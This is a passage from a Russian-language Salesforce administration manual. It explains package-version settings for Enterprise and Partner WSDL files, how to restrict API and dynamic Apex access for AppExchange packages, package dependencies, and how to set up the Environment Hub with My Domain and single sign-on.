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файл является слабо типизированным, то есть вызовы выполняются для имен и значений полей вместо определенных
типов данных.

Чтобысохранить текущийалгоритмклиентов, рекомендуемсвязатьфайл Enterprise WSDL с конкретнымиверсиямипакета.
Принеобходимостинастройтепараметрысвязыванияверсиипакетадля вызоваAPI, созданногоклиентскимприложением
посредством файла Enterprise WSDL или Рartner WSDL. Сведения о версии пакета для вызовов API, созданных клиентским
приложением на основе файла Еnterprise WSDL, определяются первым соответствием в параметрах ниже.

1. Заголовок SOAP PackageVersionHeader.

2. Конечная точка SOAP содержит URL-адрес следующего формата: имя_сервера/services/Soap/c/версия_api/код,
где версия_api  — это версия API (например, 36.0), а код  — это код выбранной версии пакета при создании файла
Еnterprise WSDL.

3. Стандартные параметры версии пакета Enterprise WSDL.

Файл Partner WSDL предназначен для интеграции с несколькими организациями. Если версии пакета задано значение
«Неуказано» принастройкестандартныхверсийпакета Partner WSDL, тоалгоритмопределяетсяпопоследнейустановленной
версии пакета. Таким образом, данный алгоритм компонентов пакета (например, триггер Apex) может измениться в
результатеобновленияпакета, влияющегонаинтеграцию.Подписчикимогутвыбратьконкретнуюверсиюустановленного
пакета для всех вызовов Partner API, созданныхклиентскимиприложениями. Вэтомслучаепоследующиеустановкиверсий
пакета не повлияют на текущие интеграции.

Сведения о версии пакета для вызовов Partner API определяются первым соответствием в параметрах ниже.

1. Заголовок SOAP PackageVersionHeader.

2. Вызов API со страницы Visualforce использует набор версий пакета для страницы Visualforce.

3. Стандартные параметры версии пакета Partner WSDL.

Чтобы настроить стандартные версии пакета для вызовов API, выполните указанные ниже действия.

1. Введите строку «API» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «API».

2. Щелкните«Настроитьпараметрыверсиипакета Enterprise»или«Настроитьпараметрыверсиипакета Partner».
Данныессылкидоступнытолькоприналичиикакминимумодногоуправляемогопакета, установленноговорганизации.

3. Заполните поле «Версия пакета» для каждого установленного управляемого пакета. В противном случае выберите
значение по умолчанию.

4. Нажмите кнопку «Сохранить».

Прим.: Установка новой версии пакета в организации не влияет на текущие стандартные параметры.
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Общие сведения о доступе посредством API и динамического кода Apex в пакетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ApexКомпоненты пакета получают доступ к стандартным и настраиваемым объектам
соответствующей организации посредством динамического кода Apex и интерфейса
API.ДанныйдоступможетбытьограниченразработчикамипакетовForce.com AppExchange,
предназначенных для внешних клиентов (известных как сторонние разработчики или
партнеры). Ограничение доступа позволяет повысить безопасность установки пакетов
дляадминистраторов. Крометого, администраторы, устанавливающиеподобныепакеты,
могутограничиватьдоступпослеустановкидажев томслучае, еслидоступнеограничен
разработчиками пакета.

«API-доступ» — это параметр пакета, определяющий доступ элементов S-Control и
других компонентов пакета к стандартным и настраиваемым объектам посредством
динамического кода Apex и интерфейса API. Данный параметр отображается
разработчикам и установщикам на странице сведений о пакете. Данный параметр
позволяет:

• РазработчикпакетаAppExchangeможетограничитьAPI-доступкпакету до его загрузкив каталог Force.com AppExchange.
После ограничения доступа компоненты пакета принимают сеансы Apex и API, ограниченные настраиваемыми
объектамипакета. Крометого, разработчикможет включитьдоступкопределеннымстандартнымобъектамилюбым
настраиваемым объектам других зависимых пакетов.

• Установщикпакетаможетпринятьилиотклонитьполномочиядоступа кпакетуприустановкепакета ворганизацию.

• После установки администратор может в любое время изменить доступ к пакету посредством Apex и API. Кроме того,
установщик может включить доступ к дополнительным объектам (например, настраиваемые объекты, созданные в
организации установщика, или объекты, установленные несвязанными пакетами).

Параметр «API-доступ» может использовать следующие значения:

• Значение по умолчанию «Неограниченный», которое предоставляет компонентам пакета API-доступ к стандартным
объектам, аналогичный доступу пользователя, выполнившего вход при отправке запроса в API. Apex выполняется в
системном режиме. Неограниченный доступ предоставляет доступ для чтения Apex ко всем стандартным и
настраиваемым объектам.

• Значение «Ограниченный», которое позволяет администратору выбирать стандартные объекты, доступные
компонентам пакета. Кроме того, компоненты ограниченных пакетов получают доступ к настраиваемым объектам
текущего пакета только при наличии у пользователя соответствующих полномочий объекта.

Рекомендации по доступу посредством API и динамического кода Apex в пакетах
По умолчанию динамическому коду Apex доступны только компоненты, добавленные в пакет вместе с кодом. Чтобы
предоставить доступ к стандартным объектам, отсутствующим в пакете, разработчик должен настроить параметр
«API-доступ».

1. Введите строку «Пакеты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пакеты».

2. Выберите пакет, содержащий динамический код Apex, которому требуется доступ к стандартным объектам в
устанавливающей организации.

3. Выберите параметр «Включить ограничения» или значение «Ограниченный» в связанном списке «Сведения о
пакете».

4. Выберите уровень доступа (чтение, создание, правка, удаление) к стандартным объектам, доступным динамическому
коду Apex.

5. Нажмите кнопку «Сохранить».
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Ниже перечислены последствия выбора значения «Ограниченный» для параметра «API-доступ».

• API-доступ в пакете переопределяет следующие полномочия:

– Автор Apex

– Настройка приложения

– Редактирование HTML-шаблонов

– Редактирование полей только для чтения

– Управление расчетами

– Управление центрами обработки вызовов

– Управление категориями

– Управление типами настраиваемых отчетов

– Управление панелями мониторинга

– Управление фирменными бланками

– Управление пакетными лицензиями

– Управление общедоступными документами

– Управление общедоступными списковыми представлениями

– Управление общедоступными отчетами

– Управление общедоступнымишаблонами

– Управление пользователями

– Перенос записи

– Использование мастеров переназначения рабочей группы

– Просмотр настройки и конфигурации

– Еженедельный экспорт данных

• ЕслипараметрыAPI-доступакобъектамнесодержат уровнейдоступа «Чтение», «Создание», «Правка» и «Удаление»,
то данные объекты недоступны пользователям в компонентах пакета даже при наличии полномочий «Изменение
всех данных» и «Просмотр всех данных».

• Пакет, API-доступу которого задано значение «Ограниченный», не поддерживает создание пользователей.

• Salesforce блокирует доступ к веб-службе и запросы executeanonymous от пакетов AppExchange с ограниченным
доступом.

Ниже перечислены рекомендации, которые также применяются к API-доступу в пакетах.

• Бизнес-правила и триггеры Apex запускаются независимо от API-доступа в пакете.

• Компонент, используемыйнесколькимипакетамиорганизации, доступенпосредствомAPI вовсехпакетахорганизации
без ограничений.

• Новыйстандартныйобъект, добавленныйв Salesforceпослеограничениядоступакпакету, поумолчаниюнедоступен.
Чтобы добавить новый стандартный объект, рекомендуем изменить параметры ограниченного доступа.

• При обновлении пакета пропускаются любые изменения, внесенные в API-доступ, даже те, которые заданы
разработчиком. Данныйалгоритмобеспечиваетадминистраторуполныйконтрольнадустанавливаемымобновлением.
Установщики должны внимательнопроверять внесенные изменения во время установки каждого обновления пакета
и отмечать все допустимые изменения. После установки обновления любые допустимые пропущенные изменения
должны быть применены администратором вручную.

• Элементы S-Сontrol управляются системой Salesforce и предназначены для внутреннего использования в Salesforce.
Такая тесная интеграция обуславливает наличие нескольких способов расширения полномочий элемента S-Control
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в управляемомпакетедополныхполномочийпользователя. Нижеперечисленыограничения, заданныедля элементов
S-Control из соображений безопасности организаций, устанавливающих пакеты.

– Прииспользованииразрабатываемыхпакетов (неизкаталогаAppExchange) элементы S-Control могутбытьдобавлены
только в пакеты со стандартным API-доступом «Неограниченный». При наличии элемента S-Control API-доступу
не может быть задано значение «Ограниченный».

– При использовании установленных пакетов ограничения доступа могут быть включены даже при наличии
элементов S-Control. Обратите внимание, что ограничения доступа обеспечивают только ограниченную защиту
элементов S-Control. Прежде чем ограничить доступ из соображений безопасности элементов S-Control, компания
Salesforce рекомендует изучить принципы работы JavaScript в элементах S-Control.

– Если API-доступу установленного пакета задано значение «Ограниченный», то обновления устанавливаются
только в томслучае, еслиобновленная версияне содержит элементов S-Control. Еслиобновленная версия содержит
элементы S-Control, то API-доступу установленного пакета должно быть задано значение «Неограниченный».

СМ. ТАКЖЕ:

Установка пакета

Настройка установленных пакетов
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Управление доступом посредством API и динамического кода Apex в пакетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования доступа
к созданному или
установленному пакету
посредством API и
динамического кода Apex:
• «Создание пакетов

AppExchange»

Для принятия или
отклонения доступа к пакету
посредством API и
динамического кода Apex
во время установки:
• «Загрузка пакетов

AppExchange»

«API-доступ» — это параметр пакета, определяющий доступ элементов S-Control и
других компонентов пакета к стандартным и настраиваемым объектам посредством
динамического кода Apex и интерфейса API. Данный параметр отображается
разработчикам и установщикам на странице сведений о пакете. Данный параметр
позволяет:

• РазработчикпакетаAppExchangeможетограничитьAPI-доступкпакетудоего загрузки
в каталог Force.com AppExchange. После ограничения доступа компоненты пакета
принимают сеансы Apex и API, ограниченные настраиваемыми объектами пакета.
Кроме того, разработчик может включить доступ к определенным стандартным
объектам и любым настраиваемым объектам других зависимых пакетов.

• Установщикпакетаможетпринятьилиотклонитьполномочиядоступакпакетупри
установке пакета в организацию.

• После установки администратор может в любое время изменить доступ к пакету
посредством Apex и API. Кроме того, установщик может включить доступ к
дополнительным объектам (например, настраиваемые объекты, созданные в
организации установщика, или объекты, установленные несвязанными пакетами).

Настройка доступа посредствомAPI и динамического кодаApex в пакетах
Чтобы изменить полномочия доступа к пакету, созданному в организации, выполните
указанные ниже действия.

1. Введите строку «Пакеты» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Пакеты».

2. Выберите нужный пакет.

3. Поле «API-доступ» отображает текущий параметр («Ограниченный» или
«Неограниченный») и ссылку «Включить ограничения» или «Отключить
ограничения». ЕслипараметрыAPI-доступакобъектамнесодержат уровнейдоступа
«Чтение», «Создание», «Правка» и «Удаление», то данные объекты недоступны
пользователям в компонентах пакета даже при наличии полномочий «Изменение всех данных» и «Просмотр всех
данных».

Ниже перечислены действия, поддерживаемые полем «API-доступ».

Включить ограничения
Данная ссылка доступна только при использовании параметра «Неограниченный». Чтобы задать доступ
компонентов пакета к стандартным объектам в организации установщика посредством динамического кода Apex
иAPI, выберитеданныйпараметр. Привыбореданногопараметраотображаетсясписок «Полномочиярасширенного
объекта». Чтобы включить доступ для каждого объекта в списке, установите флажки «Чтение», «Создание»,
«Правка» или «Удаление». В некоторых случаях данный выбор недоступен. По завершении нажмите кнопку
«Сохранить». Дополнительную информацию о выборе параметра «Ограниченный», включая информацию о
случаях его отключения, см. в разделе «Рекомендации по доступу посредством API и динамического кода Apex в
пакетах» на странице 5974.

Отключить ограничения
Данная ссылка доступна только при использовании параметра «Ограниченный». Чтобы отменить ограничения,
установленныедляполномочийдоступакомпонентовпакетакстандартныминастраиваемымобъектампосредством
Apex и API, выберите данный параметр. Данный параметр предоставляет всем компонентам пакета API-доступ
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вошедшегопользователя. Например, еслипользователюдоступныорганизации, тоорганизациидоступныклассу
Apex пакета при входе данного пользователя.

Ограниченный
Чтобы изменить ограничения API-доступа, щелкните данную ссылку.

Принятие или отклонение полномочий доступа посредством API и динамического кода Apex во
время установки
Чтобы принять или отклонить полномочия доступа к устанавливаемому пакету посредством API и динамического кода
Apex, выполните указанные ниже действия.

• Запустите процесс установки в каталоге Force.com AppExchange.

• Чтобы принять или отклонить полномочия, нажмите кнопку «Далее» или «Отмена» в области «Утвердить
API-доступ». При принятии полномочий завершите процесс установки.

Изменение полномочий доступа посредством API и динамического кода Apex после установки
Чтобы изменить полномочия доступа посредством API и динамического кода Apex после установки пакета, выполните
указанные ниже действия.

1. Введите строку «Установленные пакеты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Установленные пакеты».

2. Щелкните имя нужного пакета.

3. Поле «API-доступ» отображает текущийпараметр («Ограниченный» или «Неограниченный») иссылку «Включить
ограничения» или «Отключить ограничения». Если параметры API-доступа к объектам не содержат уровней
доступа «Чтение», «Создание», «Правка» и «Удаление», тоданныеобъектынедоступныпользователямвкомпонентах
пакета даже при наличии полномочий «Изменение всех данных» и «Просмотр всех данных».

Ниже перечислены действия, поддерживаемые полем «API-доступ».

Включить ограничения
Данная ссылка доступна только при использовании параметра «Неограниченный». Чтобы задать доступ
компонентов пакета к стандартным объектам в организации установщика посредством динамического кода Apex
иAPI, выберитеданныйпараметр. Привыбореданногопараметраотображаетсясписок «Полномочиярасширенного
объекта». Чтобы включить доступ для каждого объекта в списке, установите флажки «Чтение», «Создание»,
«Правка» или «Удаление». В некоторых случаях данный выбор недоступен. По завершении нажмите кнопку
«Сохранить». Дополнительную информацию о выборе параметра «Ограниченный», включая информацию о
случаях его отключения, см. в разделе «Рекомендации по доступу посредством API и динамического кода Apex в
пакетах» на странице 5974.

Отключить ограничения
Данная ссылка доступна только при использовании параметра «Ограниченный». Чтобы отменить ограничения,
установленныедляполномочийдоступакомпонентовпакетакстандартныминастраиваемымобъектампосредством
Apex и API, выберите данный параметр. Данный параметр предоставляет всем компонентам пакета API-доступ
вошедшегопользователя. Например, еслипользователюдоступныорганизации, тоорганизациидоступныклассу
Apex пакета при входе данного пользователя.

Ограниченный
Чтобы изменить ограничения API-доступа, щелкните данную ссылку.
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Создание файла Enterprise WSDL посредством управляемых пакетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки файла WSDL:
• «Настройка

приложения»

Чтобы загрузить файл Enterprise WSDL при использовании управляемых пакетов,
установленных в организации, рекомендуем выбрать версию каждого установленного
пакета, которая должна содержать созданныйфайл WSDL.Файл Enterprise WSDL является
строго типизированным, так как содержит объекты и поля с определенными типами
данных (например, int и string).

Версия пакета — это номер, который определяет набор компонентов, загруженных в
пакет. Для номера версии используется следующийформат:
основной_номер.дополнительный_номер.номер_исправления  (например, 2.1.3). Основной и
дополнительныйномера увеличиваютсяна выбранное значениепри каждомосновном
выпуске. Значение переменной номер_исправления указывается и обновляется только в
случае выпускаисправления.Версиипакетапозволяютиздателямизменять компоненты
управляемыхпакетовпутемвыпускапоследующихверсийпакетабезнарушениятекущих
интеграций, использующих пакет.Подписчики могут выбирать версию каждого
установленного управляемого пакета, благодаря чему клиент API может сохранить
заданный алгоритм работы даже после установки последующих версий пакета. Каждая
версияпакетаможет содержатьразныенаборыобъектовиполей, поэтомуприсоздании
строго типизированного файла WSDL рекомендуем выбрать конкретную версию.

Чтобы загрузитьфайл Enterprise WSDL при использовании установленных управляемых
пакетов, выполните указанные ниже действия.

1. Введите строку «API» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «API».

2. Нажмите кнопку «Создать Enterprise WSDL».

3. Заполните поле «Версия пакета» для каждого установленного управляемого пакета. В противном случае выберите
значение по умолчанию, которым является последняя версия пакета.

4. Нажмите кнопку «Создать».

5. Чтобы сохранить файл WSDL на компьютере, воспользуйтесь меню «Файл» в обозревателе.

6. Импортируйте локальную копию документа WSDL в среду разработки.

Ниже перечислены рекомендации по использованию созданного файла Еnterprise WSDL.

• Каждая выбранная версия управляемого пакета добавляется в комментарий вверху файла WSDL.

• Созданныйфайл WSDL содержит объекты и поля организации, включая объекты и поля, доступные в выбранных
версиях каждого установленного пакета. Поле или объект, добавленный в более позднюю версию пакета, может
использоваться интеграциейAPI только после созданияфайла Enterprise WSDL посредством соответствующей версии
пакета.

• Конечная точка SOAP в конце файла WSDL содержит URL-адрес следующего формата:
имя_сервера/services/Soap/c/версия_api/код, где версия_api  — это версия API (например, 36.0), а код  — это код
выбранной версии пакета при взаимодействии с системой Salesforce.

Можно также выбрать стандартные версии пакета для файла Enterprise WSDL без его загрузки, через страницу API в
настройках. Стандартные версии пакета для вызовов API содержат параметры системы восстановления, кроме случаев
предоставленияверсийпакетавызовомAPI.МногиеклиентыAPIнесодержатсведенийоверсиипакета, поэтомустандартные
параметры сохраняют их текущий алгоритм работы.
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Общие сведения о зависимостях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Пакеты AppExchange и
Visualforce доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Apex доступен в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для загрузки пакетов:
• «Передача пакетов

AppExchange»

Для просмотра
зависимостей Apex:
• «Автор Apex»

Для просмотра
зависимостей Visualforce:
• «Режим разработчика»

Зависимости пакета создаются в том случае, если один компонент ссылается на другой
компонент, полномочие или параметр, который должен существовать для того, чтобы
исходный компонент был действительным. Force.com отслеживает некоторые
зависимости, включая:

• Организационные зависимости (например, включена ли поддержка мультивалюты
или кампаний)

• Зависимости компонента (например, существуют ли определенные типы записей
или подразделения)

• Ссылки на стандартные и настраиваемые объекты или поля

Пакеты, классы Apex, триггеры Apex, компоненты Visualforce и страницы Visualforceмогут
зависеть от компонентов организации. Данные зависимостификсируются на странице
«Показать зависимости».

Зависимости играют важную роль при создании пакетов, так как любая зависимость в
компоненте пакета считается зависимостью всего пакета.

Прим.: Если организация установщика не соответствует всем требованиям
зависимостей, перечисленных на странице «Показать зависимости», то установка
отменяется. Например, чтобы установить пакет, ссылающийся на подразделения,
организация установщика должна использовать подразделения.

ЗависимостииграютважнуюрольдляклассовитриггеровApex, таккаклюбойзависимый
компонент должен быть добавлен в класс или триггер при развертывании кода или
создании пакета.

Помимо зависимостей, страница «Показать зависимости» также содержит операционную
область. Операционнаяобласть — этотаблица, содержащаявсеоперации DML (например,
insert или merge), которые выполняются кодом Apex для указанного объекта.
Операционная область может использоваться при установке приложения с целью
определения полной области операций базы данных приложения.

Чтобыпросмотреть зависимостииоперационнуюобластьпакета, классаApex, триггера
Apex или страницы Visualforce, выполните указанные ниже действия.

1. Откройте соответствующий компонент посредством меню «Настройка».

• Для пакетов введите строку «Пакеты» в поле «Быстрый поиск» и выберите
пункт «Пакеты».

• Для классов «Apex» введите строку «Классы Apex» в поле «Быстрый поиск» и выберите пункт «Классы Apex».

• Для триггеров «Apex» из параметров управления для соответствующего объекта перейдите к триггерам.

• Длястраниц «Visualforce» введите строку «Страницы Visualforce» вполе «Быстрый поиск» ивыберитепункт
«Страницы Visualforce».

2. Выберите имя нужного компонента.

3. Чтобыпросмотреть список объектов, зависящихот выбранного компонента, щелкните «Просмотрзависимостей»
для пакета или «Показать зависимости» для всех остальных компонентов.

Чтобы просмотреть сведения о полях операционной области, щелкните ссылку «Поля» при отображении списка
зависимых объектов. Сведения о полях содержат разную информацию (например, обновлено ли поле кодом Apex).
Дополнительную информацию см. в разделе «Операционная область поля» на странице 5696.
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Пакеты, кодApexистраницыVisualforceмогутзависетьотмногихкомпонентов, включая, нонеограничиваяськомпонентами
ниже.

• Определения настраиваемых полей

• Формулы проверки

• Отчеты

• Типы записей

• Apex

• Страницы и компоненты Visualforce

Например, если страница Visualforce содержит ссылку на поле мультивалюты (например, {!contract.ISO_code}),
то страница Visualforce зависит от мультивалюты. Пакет, содержащий данную страницу Visualforce, также зависит от
мультивалюты. Данный пакет может быть установлен только организациями, поддерживающими мультивалюту.

СМ. ТАКЖЕ:

Подготовка приложений к распространению

Управление версиями

Публикация обновлений к управляемым пакетам

Публикация расширений к управляемым пакетам

Операционная область поля

Рабочий центр

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Рабочий центр позволяет просматривать, связывать, создавать и получать
централизованныйдоступ кразныморганизациям Salesforce. Есливашакомпанияимеет
несколькосреддляразработки, тестированияипробногоиспользования, Рабочийцентр
позволяет оптимизировать подход к управлению организациями.

Рабочий центр можно использовать для решения следующих задач.

• Подключение существующихорганизацийкЦентруприпомощиавтоматического
обнаружения связанных организаций.

• Создание стандартных и партнерских организаций для разработки, тестирования и
пробного использования.

• Просмотр ифильтрация участниковЦентра по выбираемым критериям, например:
по выпуску, дате создания, экземпляру, происхождению и состоянию единой регистрации.

• Создание сопоставлений пользователей для единой регистрации, чтобы участникамЦентра было удобно входить в
систему.

Каждая организация-участник центра соответствует объекту EnvironmentHubMember. EnvironmentHubMember — это
стандартный объект, подобный объектамОрганизации илиКонтакты, поэтому вы можете использовать платформу для
программного расширения или изменения Рабочего центра. Например, система позволяет создавать настраиваемые
поля, настраиватьбизнес-правилаилиопределять соотнесенияпользователейивключатьфункциюединойрегистрации
посредством интерфейса API для любой организации-участника Центра.
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Начало работы с Рабочим центром
Настройте Рабочий центр, чтобы пользователи в вашей организации получили доступ к приложению для создания
организаций-участников и управления ими. Затем включите функцию «Мой домен», чтобы можно было связывать
существующие организации с Центром и создавать сопоставления пользователей для единой регистрации.

Управление организациями в Рабочем центре
Вы можете управлять всеми вашими организациями Salesforce централизованно, подключив их к Рабочему центру.
Вы можете создавать организации при помощишаблонов Salesforce для разработки, тестирования и пробного
использования.

Единая регистрация в Рабочем центре
Разработка, тестирование и развертывание приложений подразумевает переключение между несколькими средами
Salesforce с предоставлением данных для входа при каждом таком переключении. Функция единой регистрации (SSO)
упрощает этот процесс: пользователи Рабочего центра могут входить в организации-участники без повторной
проверки подлинности. Вы можете настроить единую регистрацию путем определения пользовательских
сопоставлений при помощи идентификаторов интегрирования или создав формулу.

Рекомендации по использованию Рабочего центра
Следуйте этим рекомендациям и советам при использовании Рабочего центра.

Начало работы с Рабочим центром

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Настройте Рабочий центр, чтобыпользователи в вашей организацииполучили доступ
кприложениюдлясозданияорганизаций-участниковиуправленияими. Затемвключите
функцию «Мой домен», чтобы можно было связывать существующие организации с
Центром и создавать сопоставления пользователей для единой регистрации.

Настройка Рабочего центра
Включите Рабочий центр в своей организации, после чего настройте его для
предоставления доступа другим пользователям.

Включение функции «Мой домен» для Рабочего центра
Использованиефункции «Мойдомен» необходимодля соединения существующих
организацийсРабочимцентромисозданиясопоставленияпользователейдляединой
регистрации, поэтомуследуетвключитьфункцию «Мойдомен» ворганизации, в которойустановленРабочийцентр.

Настройка Рабочего центра

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки Рабочего
центра:
• «Управление Рабочим

центром»

Включите Рабочий центр в своей организации, после чего настройте его для
предоставления доступа другим пользователям.

1. Свяжитесь с Salesforce, чтобывключитьРабочийцентрдля своейорганизации. Если
выявляетесьпартнером   независимымпоставщикомПО, этотшагможнопропустить.
Рабочий центр уже установлен в организации-партнере.

2. Выполните вход в организацию, в которой включен Рабочий центр, после чего
перейдите в раздел «Настройка».

3. Предоставьте пользователям доступ к функциям Рабочего центра.

a. В разделе «Настройка» введите «Профили» в поле «Быстрый поиск», затем выберите «Профили».

b. Создайте или отредактируйте профиль.
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c. Отредактируйте параметры профиля.

Параметры Рабочего центраРаздел профиля

ВключитенастраиваемоеприложениеРабочегоцентра,
чтобы оно было доступно в Средстве запуска

Параметры настраиваемого приложения

приложений в Lightning Experience или в меню
«Приложения» в Salesforce Classic.

Не изменяйте параметры в этом разделе, если это не
рекомендовано специалистами Salesforce.

Доступ к связанному приложению

Если вы включите функцию единой регистрации для
организации-участника, новые записи будут

Доступ к поставщику услуг

отображаться в этом разделе профиля. Записи
отображаются в форматеПоставщик услуг [ИД
организации], гдеИД организации является
идентификатором организации-участника.
Пользователи, у которых нет доступа к поставщику
услуг, припопытке войтиспомощью SSO могут увидеть
следующее сообщение: «Поставщик услуг [ИД
поставщика услуг] недоступен пользователю [UserID]».

При настройке Рабочего центра в новой организации
этот раздел пуст.

Включите функцию «Управление Рабочим центром»,
чтобыразрешитьпользователямвыполнятьследующие
задачи:

Полномочия администратора

• созданиеорганизациидляразработки, тестирования
и пробного использования;

• настройка единой регистрации для
организаций-участников.

Включите функцию «Подключение организаций к
Рабочему центру», чтобы пользователи могли

Общие полномочия пользователя

подключаться к существующим организациям в
Рабочем центре.

Предоставьте разрешения для объектов на основании
уровня доступа, необходимого для пользователя
Рабочего центра.

Полномочия стандартного объекта

Объект «Участники центра»:

• «Чтение»: просмотр существующих записей
участника центра.

• «Создание»: данный параметр не влияет на
возможность создания записей участников центра.
Как правило, при создании записи выполняется
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Параметры Рабочего центраРаздел профиля

связывание текущей организации или создается
новая организация из Рабочего центра.

• «Изменение»: редактированиеполейсуществующих
записей участника центра.

• «Удаление»: отключение организации от Рабочего
центра и удаление соответствующей записи
участникацентраипоставщикауслуг (еслидля этого
участника была включена единая регистрация).

• «Просмотр всех данных»: чтение всех записей
участников центра, вне зависимости от того, кто их
создал.

• «Изменение всех данных»: чтение, редактирование
и удаление всех записей участников центра, вне
зависимости от того, кто их создал.

Объект «Приглашения центра»:

• При включении полномочия «Связывание
организациисРабочимцентром» следует включить
уровнидоступа «Создание», «Чтение», «Обновление»
и «Удаление» для объекта «Приглашения центра».

d. Нажмите кнопку «Сохранить».

Включение функции «Мой домен» для Рабочего центра

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки имени
домена:
• «Настройка

приложения»

Использование функции «Мой домен» необходимо для соединения существующих
организаций с Рабочим центром и создания сопоставления пользователей для единой
регистрации, поэтомуследуетвключитьфункцию «Мойдомен» ворганизации, вкоторой
установлен Рабочий центр.

1. Найдите и зарегистрируйте доступное имя домена.

a. Введите строку «Мой домен» в поле «Быстрый п иск» в меню «Настройка» и
выберите пункт «Мой домен».

b. Введите нужное имя субдомена.

c. Выберите «Проверить доступность». Если данное имя уже используется, введите другое имя.

d. Чтобы просмотреть соглашение, выберите «Условия». Чтобы подтвердить свое согласие, установите флажок.

e. Выберите пункт «Зарегистрировать домен».
Вы получите сообщение эл. почты с подтверждением Salesforce, когда новый домен будет готов к тестированию.

2. Протестируйте и разверните имя домена в организации.

a. Щелкните URL в сообщении эл. почты с подтверждением, чтобы войти в Salesforce при помощи нового домена.
Также можно в разделе «Настройка» ввести строку «Мой домен» в поле «Быстрый поиск», затем выбрать пункт
«Мой домен» и выбрать ссылкуЩелкните здесь, чтобы выполнить вход.
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b. Чтобыпротестировать новый домен, щелкните вкладки и ссылки, доступные в организации. Обратите внимание,
что новое имя домена должно отображаться на всех страницах.

Совет: ЕсливсвоейорганизациивыиспользуетенастраиваемыекнопкиилистраницыVisualforce, проверьте
их перед развертыванием нового доменного имени. Не используйте URL, связанные с экземплярами в ваших
настраиваемых элементах.

c. Чтобы развернуть новое имя домена в организации, введите строку «Мой домен» в поле «Быстрый поиск» в
меню «Настройка», затем выберите пункт «Мой домен» и выберите «Развернуть для пользователей».
Данное действие инициирует немедленную активацию домена и перенаправление ваших пользователей на
страницы в пределах нового домена.

3. Настройте политику входа домена для нужных пользователей.

a. Введите строку «Мой домен» в поле «Быстрый п иск» в меню «Настройка» и выберите пункт «Мой домен».

b. Выберите пункт «Правка» в разделе «Параметры моего домена».

c. Чтобы отключить проверку подлинности для пользователей, которые не используют специальную страницу
входа домена, выберите нужную политику входа. Таким образом, войти могут только те пользователи, которым
известно имя домена.

d. Выберите политику переадресации на основе нужного уровня безопасности. Ниже перечислены три возможных
варианта в порядке возрастания степени безопасности.

• Перенаправление пользователей на эту же страницу домена.

• Перенаправление пользователей с предупреждением.

• Предотвращение перенаправления благодаря необходимости ввода пользователями нового имени домена.

Управление организациями в Рабочем центре

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Вы можете управлять всеми вашими организациями Salesforce централизованно,
подключив их к Рабочему центру. Вы можете создавать организации при помощи
шаблонов Salesforce для разработки, тестирования и пробного использования.

Связывание организации с Рабочим центром
Выможете связывать существующиеорганизации Salesforce с Рабочимцентром, что
позволяет централизовано управлять всеми процессами разработки, тестирования
и пробного использования. Связывание организации с Центром инициирует
автоматическое определение и связывание соответствующих организаций.

Создание организации из Рабочего центра
Вы можете создавать организации в Рабочем центре для разработки, тестирования
ипробногоиспользования. Есливыявляетесьпартнером   независимымпоставщикомПО, выможете также создавать
организации выпусков для партнеров с меньшим количеством ограничений, большим пространством хранения и
другими пользовательскими предпочтениями, которые необходимы для разработки приложений. При создании
организации из Рабочего центра она становится участником центра. Язык по умолчанию для этой организации
устанавливается в соответствии с локальными настройками пользователя.
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Связывание организации с Рабочим центром

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для связывания организации
с Рабочим центром:
• «Связывание

организации с Рабочим
центром»

Вы можете связывать существующие организации Salesforce с Рабочим центром, что
позволяет централизовано управлять всеми процессами разработки, тестирования и
пробного использования. Связывание организации с Центром инициирует
автоматическое определение и связывание соответствующих организаций.

Нижеперечисленытипысвязанныхорганизаций, которыеопределяютсяавтоматически.

• Для любой организации: все соответствующие безопасные организации.

• Для организации выпуска: все связанные организации исправления.

• Для организации по управлению Trialforce: все соответствующие исходные
организации Trialforce.

• Дляорганизации, в которойустановленоПриложениедля управлениялицензиями (LMA): любаяорганизациявыпуска
с управляемым пакетом, зарегистрированным в LMA

1. Войдите в Рабочий центр и выберите пунктСвязать организацию.

2. Введите имя пользователя администратора для организации, которую необходимо подключить, и, по желанию,
краткое описание. Описание упрощает последующий поиск организации, в особенности, если в Центре имеется
множество участников.

3. Функция единой регистрации доступна для связанной организации по умолчанию. Чтобы выключить функцию
единойрегистрации, снимитефлажок «Автоматическоевключениеединойрегистрациидлянедавносвязанной
организации».

4. Снова выберитеСвязать организацию.

5. Во всплывающем окне введите имя пользователя и пароль администратора организации. Если всплывающее окно
не выводится, временно отключите программу блокирования рекламы в браузере и повторите попытку.

6. ВыберитеВойти, затем Разрешить.

Создание организации из Рабочего центра

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки Рабочего
центра:
• «Управление Рабочим

центром»

